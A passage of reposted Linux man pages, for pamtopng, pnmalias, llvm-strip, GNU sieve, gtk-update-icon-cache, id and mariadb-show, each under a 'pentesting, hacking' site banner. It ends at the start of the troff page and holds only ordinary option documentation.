The file is divided into entries, each entry comprising consecutive lines of text. The first line of an entry starts in the first column (i.e. the first column is not white space) and every other line has white space in the first column. The first entry starts in the first line, so it is not valid for the first line of the file to have white space in its first column.

The first word in an entry is the key of the text string (e.g. ‘Title’). It begins in column one of the line and continues up to, but not including, the first delimiter character or the end of the line, whichever is first. You can enclose the key in double quotes in which case the key can consists of multiple words. The quotes are not part of the key. The text string per se begins after the key and any delimiter characters after it, plus the text in subsequent continuation lines.

There is no limit on the length of a file line or entry or key or text string. There is no limit on the number of entries.

**-ztxt=**filename
The same as -text, except the text string is compressed in the PNG output. pamtopng uses zTXt chunks instead of a tEXt chunks.

**-itxt=**filename
Similar to -text, but the text strings can be in a language other than English. The PNG image indicates what language that is and includes the text string key both in English and that language. pamtopng uses iTXt chunks instead of tEXt chunks.

For each record, you must specify the language and give the key both in English and in the text string language.

Example:

	Language        nl-NL  Taal             nl-NL
        Title           nl-NL  Titel            PNG file
        Author          nl-NL  Auteur           Pietje Puk
        Description     nl-NL  Omschrijving     Tekst in het Nederlands.

The language specification is based on the ISO 639-1 standard, see http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes for the valid codes. The format is either a two character “nl” or an extended code like “en-US”.

-time=’[yy]yy-mm-dd hh:mm:ss**’**
This option allows you to specify the modification time value to be placed in the PNG output. You can specify the year parameter either as a two or four digit value.

-interlace
This causes the PNG file to be interlaced, in Adam7 format. The interlaced format is one in which the raster data starts with a low-resolution representation of the entire image, then continues with additional information for the entire image, then even more information, etc. In Adam7 in particular, there are seven such passes of the whole image. This is useful when you are receiving the image over a slow communication line as someone is waiting to see it. The simplest thing to do in that case is wait for the entire image to arrive and then display it instantly, but then the user is wasting time staring at a blank space until the whole image arrives. With the standard non-interlaced format, the data arrives row-by-row starting at the top, so the displayer could display each row of the image as it arrives and gradually paint down to the bottom. But with an interlaced image, the displayer can start by showing a low-resolution version of the image, then gradually improve the display as more data arrives.

When you specify this option, pamtopng must hold the entire image in memory at once, whereas without it, the program holds only one raster row at a time. If you don’t have enough memory for that, you might suffer extreme slowdowns or failure - not just in the process running pamtopng, but potentially throughout the system that shares memory with it. pnmtopng does not have this limitation (it holds only one row at a time in memory even when generating an interlaced PNG).

This option was new in Netpbm 10.86 (March 2019).

-verbose
This causes the program to display various facts about the conversion.

SEE ALSO

pngtopam(1) , pnmtopng(1) , pam(1) , pnm(1)

For information on the PNG format, see http://www.w3.org/TR/PNG/ , http://libpng.org/pub/png/ , http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes and http://schaik.com/png/ .

HISTORY

pamtopng was new in Netpbm 10.70 (June 2015).

Before pamtopng, the two ways to create PNG images with Netpbm were pnmtopng and pamrgbatopng. The history of the former is discussed above. The latter was added to Netpbm in 2005 as a cheap way to fill a significant need that pnmtopng did not: the ability to turn the alpha channel in a PAM image into the alpha channel in a PNG image.

Handling of the alpha channel with pnmtopng is very cumbersome (as was dealing with alpha channels in general before the introduction of the PAM format). pamrgbatopng could do what people wanted with the alpha channel, but nothing else. It was a very small program with literally no command line options.

The goal in those days was eventually to expand pnmtopng to do the PAM alpha channel thing, rename it to pamtopng, and retire pamrgbatopng. But pnmtopng is such a complex program, because of its dizzying array of features and its need for backward compatibility, that adding that one capability to it was a daunting task and for ten years nobody attempted it.

In 2015, one of the authors of the original pnmtopng (from before it was even part of Netpbm – a program that shared essentially no lines of code with pnmtopng of 2015) decided to go in a different direction. While many features of pnmtopng were pretty important and easy to implement, many others were probably of no use in the modern world or at least not important enough to justify the complexity they lent to the code. (The features thought to be outdated were ones that were intended to make the PNG output slightly smaller - something considerably less important with the declining cost of computer resources).

And there was an opportunity to drop those features: We could use the new name ‘pamtopng’ for a new program, keep the existing program under the name ‘pnmtopng’, and avoid most backward compatibility trouble.

Therefore, Willem van Schaik wrote an intermediate level program that had all the most important features of pnmtopng, plus the alpha channel handling of pamrgbatopng, with nice, simple code. That was pamtopng.

Because pamrgbatopng had no options, pamtopng was backward compatible with it without even trying. Therefore, as soon as we added pamtopng to Netpbm, we removed pamrgbatopng and recommended that pamrgbatopng be installed as an alias for pamtopng.

AUTHOR

Copyright (C) 1995-1997 by Alexander Lehmann and Willem van Schaik. Copyright (C) 2015 by Willem van Schaik.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtopng.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

753 - Linux cli command pnmalias

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmalias and provides detailed information about the command pnmalias, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmalias.

.

NAME 🖥️ pnmalias 🖥️

antialias a PNM image

SYNOPSIS

pnmalias

[-bgcolor color]

[-fgcolor color]

[-bonly]

[-fonly]

[-balias]

[-falias]

[-weight w]

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmalias reads a PNM image as input, and applies anti-aliasing to background and foreground pixels. If the input file is a PBM, pnmalias promotes the output anti-aliased image to a PGM, and prints a message informing the user of the change in format.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmalias recognizes the following command line options:

-bgcolor colorb sets the background color the colorb.

-fgcolor colorf sets the foreground color to colorf.

Pixels with these values will be anti-aliased. By default, pnmalias takes the background color to be black, and foreground color to be white.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

Note that even when dealing with PGMs, background and foreground colors need to be specified in the fashion described above. In this case, pnmalias takes the background and foreground pixel values to be the value of the red component for the specified color.

-bonly says to apply anti-aliasing only to the background pixels.

-fonly says to apply anti-aliasing only to the foreground pixels.

-balias says to apply anti-aliasing to all pixels surrounding background pixels.

-falias says to apply anti-aliasing to all pixels surrounding foreground pixels.

If you specify neither -balias nor -falias, pnmalias applies anti-aliasing only among neighboring background and foreground pixels.

-weight w says to use w as the central weight for the aliasing filter. w must be a real number in the range 0 < w < 1. The lower the value of w is, the “blurrier” the output image is. The default is w = 1/3.

SEE ALSO

pbmtext(1) , pnmsmooth(1) , pnm(1)

AUTHOR

Copyright (C) 1992 by Alberto Accomazzi, Smithsonian Astrophysical Observatory.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmalias.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

754 - Linux cli command llvm-strip-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-strip-17 and provides detailed information about the command llvm-strip-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-strip-17.

NAME 🖥️ llvm-strip-17 🖥️

strip - object stripping tool

SYNOPSIS

llvm-strip [options] inputs…

DESCRIPTION

llvm-strip is a tool to strip sections and symbols from object files. If no other stripping or remove options are specified, –strip-all will be enabled.

By default, the input files are modified in-place. If “-” is specified for the input file, the input is read from the program’s standard input stream.

If the input is an archive, any requested operations will be applied to each archive member individually.

The tool is still in active development, but in most scenarios it works as a drop-in replacement for GNU’s strip.

GENERIC AND CROSS-PLATFORM OPTIONS

The following options are either agnostic of the file format, or apply to multiple file formats.

–disable-deterministic-archives, -U
Use real values for UIDs, GIDs and timestamps when updating archive member headers.

–discard-all, -x
Remove most local symbols from the output. Different file formats may limit this to a subset of the local symbols. For example, file and section symbols in ELF objects will not be discarded. Additionally, remove all debug sections.

–enable-deterministic-archives, -D
Enable deterministic mode when stripping archives, i.e. use 0 for archive member header UIDs, GIDs and timestamp fields. On by default.

–help, -h
Print a summary of command line options.

–no-strip-all
Disable –strip-all.

-o <file>
Write output to <file>. Multiple input files cannot be used in combination with -o.

–only-keep-debug
Produce a debug file as the output that only preserves contents of sections useful for debugging purposes.

For ELF objects, this removes the contents of SHF_ALLOC sections that are not SHT_NOTE by making them SHT_NOBITS and shrinking the program headers where possible.

–regex
If specified, symbol and section names specified by other switches are treated as extended POSIX regular expression patterns.

–remove-section <section>, -R
Remove the specified section from the output. Can be specified multiple times to remove multiple sections simultaneously.

–strip-all-gnu
Remove all symbols, debug sections and relocations from the output. This option is equivalent to GNU strip’s –strip-all switch.

–strip-all, -s
For ELF objects, remove from the output all symbols and non-alloc sections not within segments, except for .gnu.warning, .ARM.attribute sections and the section name table.

For COFF objects, remove all symbols, debug sections, and relocations from the output.

–strip-debug, -d, -g, -S
Remove all debug sections from the output.

–strip-symbol <symbol>, -N
Remove all symbols named <symbol> from the output. Can be specified multiple times to remove multiple symbols.

–strip-unneeded
Remove from the output all local or undefined symbols that are not required by relocations. Also remove all debug sections.

–version, -V
Display the version of the llvm-strip executable.

–wildcard, -w
Allow wildcard syntax for symbol-related flags. On by default for section-related flags. Incompatible with –regex.

Wildcard syntax allows the following special symbols:

CharacterMeaningEquivalent
*Any number of characters.*
_
?Any single character.
_
\Escape the next character\
_
[a-z]Character class[a-z]
_
[!a-z], [^a-z]Negated character class[^a-z]

Additionally, starting a wildcard with ‘!’ will prevent a match, even if another flag matches. For example -w -N ‘*’ -N ‘!x’ will strip all symbols except for x.

The order of wildcards does not matter. For example, -w -N ‘*’ -N ‘!x’ is the same as -w -N ‘!x’ -N ‘*’.

@<FILE>
Read command-line options and commands from response file <FILE>.

ELF-SPECIFIC OPTIONS

The following options are implemented only for ELF objects. If used with other objects, llvm-strip will either emit an error or silently ignore them.

–allow-broken-links
Allow llvm-strip to remove sections even if it would leave invalid section references. Any invalid sh_link fields will be set to zero.

–discard-locals, -X
Remove local symbols starting with “.L” from the output.

–keep-file-symbols
Keep symbols of type STT_FILE, even if they would otherwise be stripped.

–keep-section <section>
When removing sections from the output, do not remove sections named <section>. Can be specified multiple times to keep multiple sections.

–keep-symbol <symbol>, -K
When removing symbols from the output, do not remove symbols named <symbol>. Can be specified multiple times to keep multiple symbols.

–preserve-dates, -p
Preserve access and modification timestamps in the output.

–strip-sections
Remove from the output all section headers and all section data not within segments. Note that many tools will not be able to use an object without section headers.

-T
Remove Swift symbols.

EXIT STATUS

llvm-strip exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy%2Fstrip>.

SEE ALSO

llvm-objcopy(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

755 - Linux cli command sieve

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sieve and provides detailed information about the command sieve, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sieve.

NAME 🖥️ sieve 🖥️

a mail filtering tool.

SYNOPSIS

sieve [OPTION…] SCRIPT

DESCRIPTION

GNU sieve a mail filtering tool.

-c, –[no-]compile-only
compile script and exit

-D, –dump
compile script, dump disassembled sieve code to terminal and exit

-d, –debug[=FLAGS]
debug flags (defaults to “TPt”)

-E, –[no-]expression
treat SCRIPT as Sieve program text

-e, –email=ADDRESS
override user email address

–environment=NAME=VALUE
set sieve environment value

-f, –mbox-url=MBOX
mailbox to sieve (defaults to user’s mail spool)

-k, –[no-]keep-going
keep on going if execution fails on a message

–line-info=BOOL
print source location along with action logs (default)

-n, –[no-]dry-run, –no-actions
do not execute any actions, just print what would be done

–no-program-name
do not prefix diagnostic messages with the program name

-t, –ticket=TICKET
ticket file for user authentication

-v, –[no-]verbose
log all actions

–variable=NAME=VALUE
set sieve variable

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

–log-facility=FACILITY
output logs to syslog FACILITY

-M, –mailer=MAILER
use specified URL as the default mailer

Sieve options

–clear-include-path
clear Sieve include path

–clear-library-path, –clearpath
clear Sieve library path

-I, –includedir=DIR
append DIR to the list of directories searched for include files

-L, –libdir=DIR
append DIR to the list of directories searched for library files

–libdir-prefix=DIR
add DIR to the beginning of the list of directories searched for library files

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

Sieve-specific debug levels:

trace1 - print parse tree before optimization trace2 - print parse tree after optimization trace3 - print parser traces trace4 - print tests and actions being executed trace9 - print each Sieve instruction being executed

Compatibility debug flags: g - main parser traces T - mailutils traces (same as –debug-level=sieve.trace0-trace1) P - network protocols (same as –debug-level=sieve.=prot) t - sieve trace (same as –debug-level=sieve.=trace4) i - sieve instructions trace (same as –debug-level=sieve.=trace9)

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

756 - Linux cli command gtk-update-icon-cache

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-update-icon-cache and provides detailed information about the command gtk-update-icon-cache, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-update-icon-cache.

NAME 🖥️ gtk-update-icon-cache 🖥️

update-icon-cache - Icon theme caching utility

SYNOPSIS

gtk-update-icon-cache [–force] [–ignore-theme-index] [–index-only | –include-image-data] [–source NAME] [–quiet] [–validate] PATH

DESCRIPTION

gtk-update-icon-cache creates mmapable cache files for icon themes.

It expects to be given the PATH to a icon theme directory containing an index.theme, e.g. /usr/share/icons/hicolor, and writes a icon-theme.cache containing cached information about the icons in the directory tree below the given directory.

GTK+ can use the cache files created by gtk-update-icon-cache to avoid a lot of system call and disk seek overhead when the application starts. Since the format of the cache files allows them to be mmaped shared between multiple applications, the overall memory consumption is reduced as well.

OPTIONS

–force, -f

Overwrite an existing cache file even if it appears to be uptodate.

–ignore-theme-index, -t

Dont check for the existence of index.theme in the icon theme directory. Without this option, gtk-update-icon-cache refuses to create an icon cache in a directory which does not appear to be the toplevel directory of an icon theme.

–index-only, -i

Dont include image data in the cache.

–include-image-data

Include image data in the cache.

–source, -c

Output a C header file declaring a constant NAME with the contents of the icon cache.

–quiet, -q

Turn off verbose output.

–validate, -v

Validate existing icon cache.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

757 - Linux cli command id

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command id and provides detailed information about the command id, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the id.

NAME 🖥️ id 🖥️

print real and effective user and group IDs

SYNOPSIS

id [OPTION]… [USER]…

DESCRIPTION

Print user and group information for each specified USER, or (when USER omitted) for the current process.

-a
ignore, for compatibility with other versions

-Z, –context
print only the security context of the process

-g, –group
print only the effective group ID

-G, –groups
print all group IDs

-n, –name
print a name instead of a number, for -ugG

-r, –real
print the real ID instead of the effective ID, with -ugG

-u, –user
print only the effective user ID

-z, –zero
delimit entries with NUL characters, not whitespace;

not permitted in default format

–help
display this help and exit

–version
output version information and exit

Without any OPTION, print some useful set of identified information.

AUTHOR

Written by Arnold Robbins and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/id>
or available locally via: info ‘(coreutils) id invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

758 - Linux cli command mariadb-show

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-show and provides detailed information about the command mariadb-show, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-show.

NAME 🖥️ mariadb-show 🖥️

show - display database, table, and column information (mysqlshow is now a symlink to mariadb-show)

SYNOPSIS

**mysqlshow [options] [**db_name **[**tbl_name [col_name]]]

DESCRIPTION

The mysqlshow client can be used to quickly see which databases exist, their tables, or a table’s columns or indexes.

mysqlshow provides a command-line interface to several SQL SHOW statements. The same information can be obtained by using those statements directly. For example, you can issue them from the mysql client program.

Invoke mysqlshow like this:

shell> mysqlshow [options] [db_name [tbl_name [col_name]]]

·

If no database is given, a list of database names is shown.

·

If no table is given, all matching tables in the database are shown.

·

If no column is given, all matching columns and column types in the table are shown.

The output displays only the names of those databases, tables, or columns for which you have some privileges.

If the last argument contains shell or SQL wildcard characters (“*”, “?”, “%”, or “_”), only those names that are matched by the wildcard are shown. If a database name contains any underscores, those should be escaped with a backslash (some Unix shells require two) to get a list of the proper tables or columns. “*” and “?” characters are converted into SQL “%” and “_” wildcard characters. This might cause some confusion when you try to display the columns for a table with a “_” in the name, because in this case, mysqlshow shows you only the table names that match the pattern. This is easily fixed by adding an extra “%” last on the command line as a separate argument.

mysqlshow supports the following options, which can be specified on the command line or in the [mysqlshow] and [client] option file groups. mysqlshow also supports the options for processing option files described.

·

–help, -?

Display a help message and exit.

·

**–character-sets-dir=**path, -c path

The directory where character sets are installed.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

–count

Show the number of rows per table. This can be slow for non-MyISAM tables.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**suffix

In addition to the groups named on the command line, read groups that have the given suffix.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–keys, -k

Show table indexes.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlshow prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**dir_name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–show-table-type, -t

Show a column indicating the table type, as in SHOW FULL TABLES. The type is BASE TABLE or VIEW.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–status, -i

Display extra information about each table.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does. This option can be used multiple times to increase the amount of information.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

759 - Linux cli command troff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command troff and provides detailed information about the command troff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the troff.

Name

troff - GNU roff typesetter and document formatter

Synopsis

troff [-abcCEiRUz] [-d ** ctext] [-d ** string**=** text] [-f ** font-family] [-F ** font-directory] [-I ** inclusion-directory] [-m ** macro-package] [-M ** macro-directory] [-n ** page-number] [-o ** page-list] [-r ** cnumeric-expression] [-r ** register=** numeric-expression] [-T ** output-device] [-w ** warning-category] [**-W ** warning-category] [*file *. . .] troff –help troff -v troff –version

Description

GNU troff transforms

language input into the device-independent output format described in

troff is thus the heart of the GNU roff document formatting system. If no file operands are given on the command line, or if file is “-”, the standard input stream is read.

